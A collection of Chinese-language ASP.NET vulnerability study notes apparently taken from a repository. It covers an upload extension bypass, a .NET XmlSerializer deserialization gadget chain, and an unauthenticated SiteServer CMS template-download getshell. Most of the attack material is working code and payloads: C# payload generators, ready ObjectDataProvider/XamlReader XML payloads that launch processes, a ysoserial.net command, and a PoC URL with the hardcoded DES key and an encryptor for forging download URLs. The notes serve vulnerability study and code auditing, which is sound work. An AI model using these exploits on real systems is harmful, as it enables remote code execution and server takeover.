171 | pathFormat = pathFormat.Replace("{ss}", DateTime.Now.Second.ToString("D2")); 172 | 173 | return pathFormat + extension; 174 | } 175 | 176 | ``` 177 | 整个逻辑流程就是 `originFileName: 1.png?.aspx -> 1.png.aspx - > .aspx` 178 | 179 | `pathFormat: 获取config.json的格式` 然后拼接返回保存文件的路径,可以把代码单独扣出来运行。 180 | 181 | ![](./img/6.1.png) 182 | 183 | 其实我们直接控制`Content-Type`为`image/xxxx` 后缀名为我们想要的即可,比如 184 | 185 | `http://192.168.110.1:8000/1.ashx` 186 | 187 | 188 | # 0x02 总结 189 | 190 | 有的网上的poc只是为了方便大多数环境,当我们细读源码后知道新的方法往往能找到一些WAF绕过的技巧。 -------------------------------------------------------------------------------- /asp.net_bug/第六章:XmlSerializer反序列化.md: -------------------------------------------------------------------------------- 1 | # 0x00 简介 2 | 3 | 反序列化学习主要用到如下资料: 4 | 5 | 1.`.NET`反序列化`payload`生成工具[ysoserial.net](https://github.com/pwntester/ysoserial.net)。 6 | 7 | 2.[attacking-net-serialization](https://speakerdeck.com/pwntester/attacking-net-serialization)其中列举了多种反序列化漏洞。 8 | 9 | ![](./img/7.1.png) 10 | 11 | 3.[BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf) 12 | 13 | # 0x01 XmlSerializer序列化 14 | 15 | >`System.Xml.Serialization.XmlSerializer`类他可以将对象序列化到XML文档中和从XML文档中反序列化对象,在这个过程中构造`XmlSerializer`对象期间需要指定它将处理的类型`XmlSerializer(Type)` 传入的Type也就是我们的重点关注对象,因为Type类,是用来包含类型的特性。类型信息包含数据,属性和方法等信息。如果我们传入一个特定的payload那么我们就可以调用他的方法了。 16 | 17 | 首先我们先熟悉一下`XmlSerializer`的序列化 18 | 19 | 20 | >code:1.0 21 | 22 | ``` 23 | namespace XmlSerializers 24 | { 25 | class Program 26 | { 27 | static void Main(string[] args) 28 | { 29 | test fof = new test(); 30 | fof.id = "404s"; 31 | XmlSerializer xmlFormatter = new XmlSerializer(typeof(test)); 32 | using (Stream stream = new FileStream("404.xml", FileMode.Create, FileAccess.Write, FileShare.None)) 33 | { 34 | xmlFormatter.Serialize(stream, fof); 35 | } 36 | } 37 | } 38 | [XmlRoot("test")] 39 | public class test 40 | { 41 | string _id = "404"; 42 | [XmlElement] 43 | public string id { 44 | get { return _id; } 45 | set 46 | { 47 | _id = value; 48 | } 49 | } 50 | } 51 | } 52 | 53 | ``` 54 | 其中`[XmlRoot("test")]`指定的元素将被序列化成xml的根元素,`[XmlElement]`为指定类的公共域或读/写属性,具体可以参考[.net序列化及反序列化](https://www.cnblogs.com/sandyliu1999/p/4844664.html)。 55 | 56 | >404.xml 57 | 58 | ``` 59 | 60 | 61 | 62 | 404s 63 | 64 | 65 | ``` 66 | 67 | 如果我们把这段代码换成如下: 68 | 69 | >code:1.1 70 | 71 | ``` 72 | 73 | namespace XmlSerializers 74 | { 75 | class Program 76 | { 77 | static void Main(string[] args) 78 | { 79 | ExecCMD fof = new ExecCMD(); 80 | fof.cmd = "cmd"; 81 | XmlSerializer xmlFormatter = new XmlSerializer(typeof(ExecCMD)); 82 | using (Stream stream = new FileStream("404.xml", FileMode.Create, FileAccess.Write, FileShare.None)) 83 | { 84 | xmlFormatter.Serialize(stream, fof); 85 | } 86 | } 87 | } 88 | [XmlRoot("ExecCMD")] 89 | public class ExecCMD 90 | { 91 | private String _cmd = "notepad"; 92 | [XmlElement] 93 | public String cmd 94 | { 95 | get { return _cmd; } 96 | set 97 | { 98 | _cmd = value; 99 | ExecCommand(); 100 | } 101 | } 102 | private void ExecCommand() 103 | { 104 | Process myProcess = new Process(); 105 | myProcess.StartInfo.FileName = _cmd; 106 | myProcess.Start(); 107 | myProcess.Dispose(); 108 | } 109 | } 110 | } 111 | 112 | 113 | ``` 114 | 115 | 程序本意是调用`notepad.exe`,我们在序列化的过程中把`_cmd`的值改成`cmd` 然后序列化/反序列化他将调用`CMD.EXE`,当然实际是基本遇不到这种情况的。 116 | 117 | >404.xml 118 | 119 | ``` 120 | 121 | 122 | cmd 123 | 124 | 125 | ``` 126 | 127 | 128 | 129 | # 0x01 XmlSerializer反序列化 130 | 131 | 前面说过构造`XmlSerializer`对象期间需要指定它将处理的类型`XmlSerializer(Type)`,获取`Type`有一般有有3种方式:a.使用typeof运算符 b.使用GetType()方法 c.使用Type类的静态方法GetType()。 132 | 133 | ## 1.1 typeof运算符 134 | 135 | 我们把`code:1.1`中的`Main`函数换成如下 136 | 137 | ``` 138 | 139 | static void Main(string[] args) 140 | { 141 | 142 | using (StringReader rdr = new StringReader(" cmd.exe ")) 143 | { 144 | ExecCMD execCMD; 145 | XmlSerializer serializer = new XmlSerializer(typeof(ExecCMD)); 146 | execCMD = (ExecCMD)serializer.Deserialize(rdr); 147 | Console.WriteLine(execCMD.cmd); 148 | Console.WriteLine(typeof(ExecCMD)); 149 | } 150 | } 151 | 152 | ``` 153 | 154 | 其中传入的`XML`就是`code:1.1`生成的`404.xml`运行程序看到如下: 155 | 156 | 157 | ![](./img/7.2.png) 158 | 159 | ## 1.2 GetType()方法 160 | 161 | `GetType()`是基类`System.Object`的方法,因此只有建立一个实例之后才能够被调用 162 | 163 | ![](./img/7.3.png) 164 | 165 | 166 | ## 1.3 Type类的静态方法GetType(string) 167 | 168 | 相比前面的2种方法,`Type.GetType(string)` 允许传入自定义字符串,那么灵活性更高。 169 | 170 | ![](./img/7.4.png) 171 | 172 | 173 | 至此我们的利用链应该是: 174 | 175 | 176 | 177 | ![](./img/7.5.png) 178 | 179 | 180 | 这种方式还是比较被动,我们是否可以执行任意类的任意方法,这样我们的利用过程就更为主动,这里就要引入`ObjectDataProvider`类。 181 | 182 | 183 | # 0x02 寻找利用链 184 | 185 | 186 | 187 | ## 2.0 ObjectDataProvider 188 | 189 | 190 | [ObjectDataProvider](https://docs.microsoft.com/zh-cn/dotnet/api/system.windows.data.objectdataprovider)用于包装和创建可以用作绑定源的对象,听起来比较抽象,可以理解为可以调用一个方法,并且传入参数。 191 | 192 | 193 | 194 | >code 2.0 195 | 196 | ``` 197 | 198 | public static void test() 199 | { 200 | ObjectDataProvider objectDataProvider = new ObjectDataProvider(); 201 | objectDataProvider.ObjectInstance = new MyClasss(); 202 | objectDataProvider.MethodName = "PullFile"; 203 | objectDataProvider.MethodParameters.Add("cmd"); 204 | XmlSerializer serializer1 = new XmlSerializer(typeof(ObjectDataProvider), new Type[] { typeof(MyClasss) }); 205 | 206 | TextWriter textWriter = new StreamWriter(@"data.xml"); 207 | serializer1.Serialize(textWriter, objectDataProvider); 208 | } 209 | public class MyClasss 210 | { 211 | 212 | 213 | public void PullFile(string _cmd) 214 | { 215 | Process myProcess = new Process(); 216 | myProcess.StartInfo.FileName = _cmd; 217 | myProcess.Start(); 218 | myProcess.Dispose(); 219 | } 220 | 221 | } 222 | 223 | ``` 224 | ![](./img/7.6.png) 225 | 226 | 227 | 但是这样生产会报错,原因好像是`XmlSerializer` 序列化只会找他的基类,所以`objectDataProvider.ObjectInstance = new MyClasss();`这里就没办法找到,要解决这个问题可以用`XmlSerializer(Type, Type[])` 或者用[ExpandedWrapper](https://docs.microsoft.com/zh-cn/dotnet/api/system.data.services.internal.expandedwrapper-1)预加载实体 228 | 229 | ### 2.0.1 XmlSerializer(Type, Type[]) 230 | 231 | > code 2.1 232 | 233 | ``` 234 | 235 | ObjectDataProvider objectDataProvider = new ObjectDataProvider(); 236 | objectDataProvider.ObjectInstance = new MyClasss(); 237 | objectDataProvider.MethodName = "PullFile"; 238 | objectDataProvider.MethodParameters.Add("cmd"); 239 | XmlSerializer serializer1 = new XmlSerializer(typeof(ObjectDataProvider), new Type[] { typeof(MyClasss) }); 240 | 241 | TextWriter textWriter = new StreamWriter(@"data.xml"); 242 | serializer1.Serialize(textWriter, objectDataProvider); 243 | 244 | ``` 245 | 246 | >data.xml 247 | 248 | ``` 249 | 250 | 251 | 252 | 253 | PullFile 254 | 255 | cmd 256 | 257 | 258 | 259 | ``` 260 | 261 | ### 2.0.2 [ExpandedWrapper](https://docs.microsoft.com/zh-cn/dotnet/api/system.data.services.internal.expandedwrapper-1)预加载实体 262 | 263 | >code 2.2 264 | 265 | ``` 266 | ExpandedWrapper myExpWrap = new ExpandedWrapper(); 267 | myExpWrap.ProjectedProperty0 = new ObjectDataProvider(); 268 | myExpWrap.ProjectedProperty0.ObjectInstance = new MyClasss(); 269 | myExpWrap.ProjectedProperty0.MethodName = "PullFile"; 270 | myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe"); 271 | XmlSerializer serializer1 = new XmlSerializer(typeof(ExpandedWrapper)); 272 | TextWriter textWriter = new StreamWriter(@"data.xml"); 273 | serializer1.Serialize(textWriter, myExpWrap); 274 | 275 | ``` 276 | 277 | >data.xml 278 | 279 | ``` 280 | 281 | 282 | 283 | 284 | 285 | PullFile 286 | 287 | cmd.exe 288 | 289 | 290 | 291 | 292 | ``` 293 | 294 | 反序列化触发: 295 | 296 | ![](./img/7.7.png) 297 | 298 | 至此我们已经可以使用`ObjectDataProvider` 调用引用类文件的方法了。但是`MyClasss`类也是我们自己设计的,在实际环境中可能还是不存在这种理想化模型,由于`ObjectDataProvider`可以调用`Process.Start`,但是不能直接序列化,所以我们需要找到一个途径来间接调用`Process.Start`。 299 | 300 | ![](./img/7.8.png) 301 | 302 | 303 | ## 2.1 XamlReader 304 | 305 | `XamlReader`他有一个方法`Parse(String)` 是传入一个字符串,返回根对象,那么我们用`ObjectDataProvider`构造传参一个`XAML`,同时XAML的`ObjectDataProvider`调用`Process.Start`那么利用链就成功了。 306 | 307 | ## 2.2 ResourceDictionary 308 | 309 | 要生成XAML还需要引用[ResourceDictionary](https://docs.microsoft.com/zh-cn/dotnet/api/system.windows.resourcedictionary)类。 310 | 311 | 312 | ## 2.3 生成payload 313 | 314 | >code 2.3 315 | 316 | ``` 317 | 318 | public static void xaml_data() 319 | { 320 | ObjectDataProvider objectDataProvider = new ObjectDataProvider(); 321 | objectDataProvider.ObjectType = typeof(System.Diagnostics.Process); 322 | objectDataProvider.MethodParameters.Add("notepad.exe"); 323 | objectDataProvider.MethodName = "Start"; 324 | ResourceDictionary R_xaml = new ResourceDictionary(); 325 | R_xaml.Add("test", objectDataProvider); 326 | string xaml_data; 327 | using (MemoryStream stream = new MemoryStream()) 328 | { 329 | 330 | XamlServices.Save(stream, objectDataProvider); 331 | stream.Position = 0; 332 | StreamReader reader = new StreamReader(stream); 333 | xaml_data = reader.ReadToEnd(); 334 | stream.Close(); 335 | } 336 | 337 | Console.WriteLine(xaml_data); 338 | } 339 | 340 | public static void xml_payload() 341 | { 342 | ExpandedWrapper myExpWrap = new ExpandedWrapper(); 343 | myExpWrap.ProjectedProperty0 = new ObjectDataProvider(); 344 | myExpWrap.ProjectedProperty0.ObjectInstance = new System.Windows.Markup.XamlReader(); 345 | myExpWrap.ProjectedProperty0.MethodName = "Parse"; 346 | myExpWrap.ProjectedProperty0.MethodParameters.Add(xaml_data()); 347 | 348 | using (MemoryStream stream = new MemoryStream()) 349 | { 350 | XmlSerializer xml = new XmlSerializer(typeof(ExpandedWrapper)); 351 | xml.Serialize(stream, myExpWrap); 352 | stream.Position = 0; 353 | StreamReader reader = new StreamReader(stream); 354 | Console.WriteLine(reader.ReadToEnd()); 355 | Console.WriteLine(typeof(ExpandedWrapper).AssemblyQualifiedName); 356 | } 357 | 358 | } 359 | 360 | ``` 361 | `xaml_data()` 生成`XamlReader()`调用的`xaml`文件,`ObjectDataProvider`调用`XamlReader()`传参`xaml`整个利用链的`payload`就完成了, `typeof(ExpandedWrapper).AssemblyQualifiedName`是获取程序集限定名,用于传入`Type`。 362 | 363 | >exp.xml 364 | 365 | ``` 366 | 367 | 368 | 369 | 370 | Parse 371 | 372 | <ObjectDataProvider MethodName="Start" ObjectType="sd:Process" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"> 373 | <ObjectDataProvider.MethodParameters> 374 | <x:String>notepad.exe</x:String> 375 | </ObjectDataProvider.MethodParameters> 376 | </ObjectDataProvider> 377 | 378 | 379 | 380 | 381 | ``` 382 | 383 | 384 | 注:使用`XamlReader`等需要引用对应的模块 385 | 386 | 387 | ## 2.4 复现 388 | 389 | >code 2.4 反序列化 390 | 391 | ``` 392 | 393 | using (StringReader rdr = new StringReader("payload")) 394 | { 395 | XmlSerializer serializer = new XmlSerializer(Type.GetType("System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089")); 396 | serializer.Deserialize(rdr); 397 | } 398 | 399 | ``` 400 | 401 | 402 | ![](./img/7.9.png) 403 | 404 | ## 2.5 ysoserial.net 405 | 406 | 以上其实是[ysoserial.net](https://github.com/pwntester/ysoserial.net)生成的`payload`反推。 407 | 408 | >ysoserial.exe -f XmlSerializer -g ObjectDataProvider -c "notepad.exe" -o raw 409 | 410 | ``` 411 | 412 | 413 | 414 | 415 | 416 | 417 | Parse 418 | 419 | 420 | <ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system"> 421 | <ObjectDataProvider x:Key="LaunchCmd" ObjectType="{x:Type Diag:Process}" MethodName="Start"> 422 | <ObjectDataProvider.MethodParameters> 423 | <System:String>cmd</System:String> 424 | <System:String>/c notepad.exe</System:String> 425 | </ObjectDataProvider.MethodParameters> 426 | </ObjectDataProvider> 427 | </ResourceDictionary> 428 | 429 | 430 | 431 | 432 | 433 | 434 | 435 | ``` 436 | 这里把payload分成2部分使用 437 | 438 | >Type 439 | 440 | ``` 441 | System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 442 | 443 | ``` 444 | 445 | >XML 446 | 447 | ``` 448 | 449 | 450 | 451 | 452 | Parse 453 | 454 | 455 | <ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system"> 456 | <ObjectDataProvider x:Key="LaunchCmd" ObjectType="{x:Type Diag:Process}" MethodName="Start"> 457 | <ObjectDataProvider.MethodParameters> 458 | <System:String>cmd</System:String> 459 | <System:String>/c notepad.exe</System:String> 460 | </ObjectDataProvider.MethodParameters> 461 | </ObjectDataProvider> 462 | </ResourceDictionary> 463 | 464 | 465 | 466 | 467 | 468 | 469 | ``` 470 | 471 | 这里位于`anyType`的`xmlns:xsi`如果按照生成的payload使用会造成`xsi`是未声明的前缀,所以这里我把他提前到`ExpandedWrapperOfXamlReaderObjectDataProvider` 。 472 | 473 | # 0x03 总结 474 | 475 | 476 | .NET反序列化的攻击链还是比较难找。审计的话就看`type` 和 `xml` 这2个值是否可控。 477 | 478 | 文章如有错误,多多提醒,万分感谢 479 | 480 | 481 | 482 | ### 参考文章: 483 | 484 | [《.NET高级代码审计(第一课)XmlSerializer反序列化漏洞》](https://www.anquanke.com/post/id/172316) 485 | 486 | [《.Net反序列化那些事》](https://mp.weixin.qq.com/s/0ztdMsdEeEBWM0j8uEF_Cw) 487 | -------------------------------------------------------------------------------- /asp.net_bug/第四章:SiteServer远程下载分析.md: -------------------------------------------------------------------------------- 1 | # 0x00 简介 2 | 3 | 在N年前有个siteserver的远程getshell,其实这个洞很简单,问题出在下载模板这里。 4 | 5 | 找个低版本4.5左右的[siteserver](https://github.com/siteserver/cms/releases)下载 6 | 7 | # 0x01 漏洞成因 8 | 9 | POC 10 | 11 | ``` 12 | 192.168.110.129:8081/siteserver/Ajax/ajaxOtherService.aspx?type=SiteTemplateDownload&userKeyPrefix=hello&downloadUrl=ZjYIub0slash0YxA1HKHKT0add0CAWlTomu1H0add0qeh9upSVU73ZzMc0equals0&directoryName=hello 13 | 14 | ``` 15 | 16 | 问题文件出在`Ajax/ajaxOtherService.aspx`我们可以看到参数`SiteTemplateDownload`,顾名思义 站点模板下载,比较明显的后台管理方面的漏洞。 17 | 18 | ![](./img/5.1.png) 19 | 20 | 找到对应文件,进行反编译看看源码。 21 | 22 | 23 | >code 0x00 24 | 25 | ``` 26 | public void Page_Load(object sender, EventArgs e) 27 | { 28 | string a = base.Request["type"]; 29 | NameValueCollection attributes = new NameValueCollection(); 30 | string text = null; 31 | RequestBody body = new RequestBody(); 32 | if (a == "GetCountArray") 33 | { 34 | string userKeyPrefix = base.Request["userKeyPrefix"]; 35 | attributes = this.GetCountArray(userKeyPrefix); 36 | } 37 | else if (a == "SiteTemplateDownload") 38 | { 39 | string userKeyPrefix2 = base.Request["userKeyPrefix"]; 40 | string downloadUrl = TranslateUtils.DecryptStringBySecretKey(base.Request["downloadUrl"]); 41 | string directoryName = base.Request["directoryName"]; 42 | attributes = this.SiteTemplateDownload(downloadUrl, directoryName, userKeyPrefix2); 43 | } 44 | ... 45 | 46 | ``` 47 | 48 | 提出无关代码,当传入的`type`为`SiteTemplateDownload`的时候用`DecryptStringBySecretKey`函数对`downloadurl`进行了解密,跟进这个函数。 49 | 50 | ``` 51 | 52 | >code 0x01 53 | 54 | public static string DecryptStringBySecretKey(string inputString) 55 | { 56 | if (string.IsNullOrEmpty(inputString)) 57 | { 58 | return string.Empty; 59 | } 60 | inputString = inputString.Replace("0add0", "+").Replace("0equals0", "=").Replace("0and0", "&").Replace("0question0", "?").Replace("0quote0", "'").Replace("0slash0", "/"); 61 | DESEncryptor desencryptor = new DESEncryptor(); 62 | desencryptor.InputString = inputString; 63 | desencryptor.DecryptKey = FileConfigManager.Instance.SecretKey; 64 | desencryptor.DesDecrypt(); 65 | return desencryptor.OutString; 66 | } 67 | 68 | ``` 69 | 70 | 对传入的值进行简单替换,然后调用`DesDecrypt`进行解密,跟进此函数。 71 | 72 | >code 0x02 73 | 74 | ``` 75 | public void DesDecrypt() 76 | { 77 | byte[] rgbIV = new byte[] 78 | { 79 | 18, 80 | 52, 81 | 86, 82 | 120, 83 | 144, 84 | 171, 85 | 205, 86 | 239 87 | }; 88 | byte[] array = new byte[this.inputString.Length]; 89 | try 90 | { 91 | byte[] bytes = Encoding.UTF8.GetBytes(this.decryptKey.Substring(0, 8)); 92 | DESCryptoServiceProvider descryptoServiceProvider = new DESCryptoServiceProvider(); 93 | array = Convert.FromBase64String(this.inputString); 94 | MemoryStream memoryStream = new MemoryStream(); 95 | CryptoStream cryptoStream = new CryptoStream(memoryStream, descryptoServiceProvider.CreateDecryptor(bytes, rgbIV), CryptoStreamMode.Write); 96 | cryptoStream.Write(array, 0, array.Length); 97 | cryptoStream.FlushFinalBlock(); 98 | Encoding encoding = new UTF8Encoding(); 99 | this.outString = encoding.GetString(memoryStream.ToArray()); 100 | } 101 | catch (Exception ex) 102 | { 103 | this.noteMessage = ex.Message; 104 | } 105 | } 106 | 107 | ``` 108 | 109 | 可以看到是个`DES`加密。 其中密匙`DecryptKey`在上一块代码区指向`FileConfigManager.Instance.SecretKey` 110 | 111 | KEY: 112 | 113 | ``` 114 | 115 | public string SecretKey { get; } = "vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5"; 116 | 117 | ``` 118 | 119 | 知道密匙和加密方法,很简单就能写出加密解密方法,直接可以直接扣他的代码这里直接写加密方式。 120 | 121 | 122 | 123 | DesEncrypt: 124 | 125 | ``` 126 | 127 | using System; 128 | using System.Collections.Generic; 129 | using System.IO; 130 | using System.Linq; 131 | using System.Security.Cryptography; 132 | using System.Text; 133 | using System.Threading.Tasks; 134 | 135 | namespace siteserver 136 | { 137 | class Program 138 | { 139 | 140 | static void Main(string[] args) 141 | { 142 | DesEncrypt("www.baidu.com/1.zip"); 143 | } 144 | static public void DesEncrypt(string inputString) 145 | { 146 | string encryptKey = "vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5"; 147 | byte[] rgbIV = new byte[] 148 | { 149 | 18, 150 | 52, 151 | 86, 152 | 120, 153 | 144, 154 | 171, 155 | 205, 156 | 239 157 | }; 158 | try 159 | { 160 | byte[] bytes = Encoding.UTF8.GetBytes((encryptKey.Length > 8) ? encryptKey.Substring(0, 8) : encryptKey); 161 | DESCryptoServiceProvider descryptoServiceProvider = new DESCryptoServiceProvider(); 162 | byte[] bytes2 = Encoding.UTF8.GetBytes(inputString); 163 | MemoryStream memoryStream = new MemoryStream(); 164 | CryptoStream cryptoStream = new CryptoStream(memoryStream, descryptoServiceProvider.CreateEncryptor(bytes, rgbIV), CryptoStreamMode.Write); 165 | cryptoStream.Write(bytes2, 0, bytes2.Length); 166 | cryptoStream.FlushFinalBlock(); 167 | Console.WriteLine(Convert.ToBase64String(memoryStream.ToArray()).Replace("+", "0add0").Replace("=", "0equals0").Replace("&", "0and0").Replace("?", "0question0").Replace("'", "0quote0").Replace("/", "0slash0")); 168 | } 169 | catch (Exception ex) 170 | { 171 | } 172 | } 173 | 174 | } 175 | } 176 | 177 | ``` 178 | 179 | ![](./img/5.2.png) 180 | 181 | 182 | 在POC中还有参数`userKeyPrefix`和`directoryName` 在`code 0x00`中看到参数传入`SiteTemplateDownload`函数,继续跟进。 183 | 184 | 185 | ``` 186 | public NameValueCollection SiteTemplateDownload(string downloadUrl, string directoryName, string userKeyPrefix) 187 | { 188 | string key = userKeyPrefix + "_TotalCount"; 189 | string key2 = userKeyPrefix + "_CurrentCount"; 190 | string key3 = userKeyPrefix + "_Message"; 191 | CacheUtils.Max(key, "5"); 192 | CacheUtils.Max(key2, "0"); 193 | CacheUtils.Max(key3, string.Empty); 194 | NameValueCollection progressTaskNameValueCollection; 195 | try 196 | { 197 | CacheUtils.Max(key2, "1"); 198 | CacheUtils.Max(key3, "开始下载模板压缩包,可能需要10到30分钟,请耐心等待"); 199 | string siteTemplatesPath = PathUtility.GetSiteTemplatesPath(directoryName + ".zip"); 200 | FileUtils.DeleteFileIfExists(siteTemplatesPath); 201 | WebClientUtils.SaveRemoteFileToLocal(downloadUrl, siteTemplatesPath); 202 | CacheUtils.Max(key2, "4"); 203 | CacheUtils.Max(key3, "模板压缩包下载成功,开始解压缩"); 204 | string siteTemplatesPath2 = PathUtility.GetSiteTemplatesPath(directoryName); 205 | if (!DirectoryUtils.IsDirectoryExists(siteTemplatesPath2)) 206 | { 207 | ZipUtils.UnpackFiles(siteTemplatesPath, siteTemplatesPath2); 208 | } 209 | CacheUtils.Max(key2, "5"); 210 | CacheUtils.Max(key3, string.Empty); 211 | progressTaskNameValueCollection = AjaxManager.GetProgressTaskNameValueCollection("站点模板下载成功,请到站点模板管理中查看。", string.Empty); 212 | } 213 | catch (Exception ex) 214 | { 215 | progressTaskNameValueCollection = AjaxManager.GetProgressTaskNameValueCollection(string.Empty, string.Format("
下载失败!
{0}", ex.Message)); 216 | } 217 | CacheUtils.Remove(key); 218 | CacheUtils.Remove(key2); 219 | CacheUtils.Remove(key3); 220 | return progressTaskNameValueCollection; 221 | } 222 | 223 | ``` 224 | 225 | `userKeyPrefix` 基本不用管,`directoryName`为下载到本地的zip名,下载后zip自动解压,所以漏洞就形成了。 226 | 227 | 228 | # 0x02 漏洞复现 229 | 230 | 231 | ![](./img/5.3.png) 232 | 233 | 234 | 235 | # 0x03 总结 236 | 237 | 存在这个漏洞的首要原因是`Ajax/ajaxOtherService.aspx`文件没有限制权限,任何人都可以访问,在后台中,模板下载上传,往往是`GETSHELL`的关键点。 --------------------------------------------------------------------------------